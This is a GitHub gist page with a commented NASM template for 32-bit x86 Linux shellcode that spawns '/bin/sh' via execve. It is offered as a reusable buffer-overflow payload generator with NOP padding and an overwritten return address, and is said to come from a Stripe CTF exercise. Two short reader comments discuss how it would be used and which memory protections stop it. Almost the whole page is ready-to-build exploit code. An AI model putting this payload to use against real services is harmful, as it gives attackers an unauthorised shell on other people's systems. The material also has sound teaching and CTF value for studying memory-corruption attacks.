Skip to content

Instantly share code, notes, and snippets.

@jsanders
Last active December 26, 2015 04:56
Show Gist options
  • Save jsanders/6505601 to your computer and use it in GitHub Desktop.
Save jsanders/6505601 to your computer and use it in GitHub Desktop.
Generally useful, well-documented, and small shellcode generator. Based on work I did for level05 of Stripe's original CTF, but much nicer.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; A nice, small 32-bit x86 execve shellcode template. ;
; execve("//bin/sh", [ "//bin/sh", NULL ], [ NULL ]). ;
; Shellcode itself is 25 bytes. ;
; Provide definitions of PayloadSize and JumpAddress ;
; to generate a self-contained buffer of the desired ;
; size and with the desired address to jump to. ;
; Build with "nasm -f bin -o shellcode shellcode.asm" ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
BITS 32
;;;;;;;;;;;;;;;;;;;;;;;;;;
; DEFINE THESE VARIABLES ;
;;;;;;;;;;;;;;;;;;;;;;;;;;
; The size in bytes of the final shellcode. This value should be sized such that
; the last word of the payload ends up overwriting the return address of the
; function you're injecting the payload into.
PayloadSize equ ???
; The address in memory to jump to. Could either point to the beginning of the
; payload, if it is able to be known absolutely, or another instruction that
; eventually jumps to the beginning of the payload. For instance, if the address
; of the payload is in `eax` and you find an instruction that jumps to `eax`,
; this can be the address of that instruction.
JumpAddress equ ???
;;;;;;;;;;;;;;;
; THE PAYLOAD ;
;;;;;;;;;;;;;;;
_code:
xor eax, eax ; We'll be needing some zeros
; Push 8 bytes that represent the null-terminated string "/bin/sh", which is the
; file we want execve to execute.
push eax
push 0x68732f6e ; n/sh
push 0x69622f2f ; //bi
; ebx represents the char* filename parameter of execve. The first character of
; the filename is currently one word down the stack, so esp+4 can be used for its
; adress.
mov ebx, esp
; Push an empty word onto the stack. We'll use this word to terminate both the
; char** argv and char** envp parameters to execve.
push eax
; edx represents the char** envp parameter of the execve syscall. We aren't
; interested in setting up an environment, so let's use the zero word we just
; put on the stack as the NULL that will give us a blank char**.
mov edx, esp
; Push the address of the filename parameter onto the stack, so that the address
; of that address can be used for the char** argv parameter to execve.
push ebx
; ecx represents the char** argv parameter of execve. The top of the stack has
; the address of the address of our filename parameter, followed by a NULL word.
; Taken together, this gives us a char** with one entry, which is the filename
; of the program we're going to execute.
mov ecx, esp
; eax represents the syscall number, which is 11 for execve.
mov al, 11
; Call into the standard interrupt vector for Linux syscalls.
int 0x80
; Pad with nops to get the desired PayloadSize
CodeSize equ $-_code
times PayloadSize-CodeSize-4 nop
; Address of instruction to jump to. If you've done things right, this should
; end up in the return address of your function.
dd JumpAddress
@d-mart
Copy link

d-mart commented Sep 11, 2013

So you find a buffer overflow somewhere, stick this little (and I mean little) ditty in it, and 💥 you call /bin/sh on whatever your included (or pointed to) stuff. And this is why we don't run services as root, kids.

@eugenekolo
Copy link

@d-mart assuming no protection of any sort (NX, canaries, ASLR), then sort yes for the most part.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment